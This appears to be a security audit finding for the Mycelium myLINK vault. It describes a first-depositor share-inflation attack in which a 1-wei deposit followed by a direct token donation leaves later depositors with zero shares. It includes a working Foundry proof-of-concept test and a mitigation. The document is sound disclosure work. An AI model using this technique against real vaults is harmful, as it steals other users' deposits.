ellahi

high

# First depositor can break minting of shares

## Summary
The first depositor can get shares, then deposit a large 'donation' such that later calculations show that each share is worth a lot more than the depositor originally paid.

## Vulnerability Detail
Based on [`script/DeployWithAave.s.sol`](https://github.com/sherlock-audit/2022-10-mycelium/blob/main/mylink-contracts/script/DeployWithAave.s.sol#L13-L13), [`STARTING_SHARES_PER_LINK = 1000`](https://github.com/sherlock-audit/2022-10-mycelium/blob/main/mylink-contracts/script/DeployWithAave.s.sol#L19-L19).

```solidity
uint256 initialSharesPerToken = 1000; // = STARTING_SHARES_PER_LINK
...
Vault vault = new Vault();
vault.initialize(link, owner, vaultCapacity, initialSharesPerToken);
```

- Alice, the first depositor, deposits 1 wei, gets 1000 shares.
- Alice makes a 'donation' of `10,000` LINK tokens via `link.transfer()` to the vault address. 
- Bob deposits $50 worth of LINK but gets zero shares in return, thus losing his LINK forever :(.

## Impact
Later depositors deposit funds and get zero myLINK shares. The original depositor's shares grow in value instead.

## Code Snippet
[`Vault.sol#L614-L620`](https://github.com/sherlock-audit/2022-10-mycelium/blob/main/mylink-contracts/src/Vault.sol#L614-L620)

```solidity
function convertToShares(uint256 _tokens) public view returns (uint256) {
    uint256 tokenSupply = totalSupply(); // saves one SLOAD
    if (tokenSupply == 0) {
        return _tokens * STARTING_SHARES_PER_LINK; // @audit STARTING_SHARES_PER_LINK = 1000 based on current deployment script
    }
    return _tokens.mulDivDown(totalShares, tokenSupply);
}
```

Add following foundry test to [`test/Vault/transfer.t.sol`](https://github.com/sherlock-audit/2022-10-mycelium/blob/main/mylink-contracts/test/Vault/transfer.t.sol).

`forge test --match-test testExploit -vv`

```solidity
// deposit 1
// donate a bunch
// next victim gets screwed.
function testExploit() public {
    uint256 amount = 10000 * 1e18;

    vm.startPrank(alice);
    link.mint(alice,amount);
    link.approve(address(vault), type(uint256).max);
    vault.deposit(1); // shares = 1 * 1000
    link.transfer(address(vault), amount - 1);

    assertEq(vault.totalShares(), 1000);
    assertEq(vault.totalSupply(), amount);
    assertEq(link.balanceOf(alice), 0);
    assertEq(vault.shares(alice), 1000);
    vm.stopPrank();

    vm.startPrank(bob);
    link.mint(bob, amount);
    link.approve(address(vault), type(uint256).max);
    // totalShares * amount < totalSupply
    // amount = vault.totalSupply() / vault.totalShares() - 1
    // bob deposits 9.999999999999999999 tokens
    uint256 victimAmount = 9999999999999999999;
    vault.deposit(victimAmount);
    // totalShares remains the same
    assertEq(vault.totalShares(), 1000);
    // totalSupply increases normally
    assertEq(vault.totalSupply(), amount + victimAmount);
    // shares[bob] remains 0 
    assertEq(vault.shares(bob), 0);
    // bob is 9.999999999999999999 LINK's poorer
    assertEq(link.balanceOf(bob), amount - victimAmount);
    vm.stopPrank();
}
```


## Tool used

Manual Review

## Recommendation

I recommend setting `STARTING_SHARES_PER_LINK` to a much higher value, like `1e18` to prevent this attack.
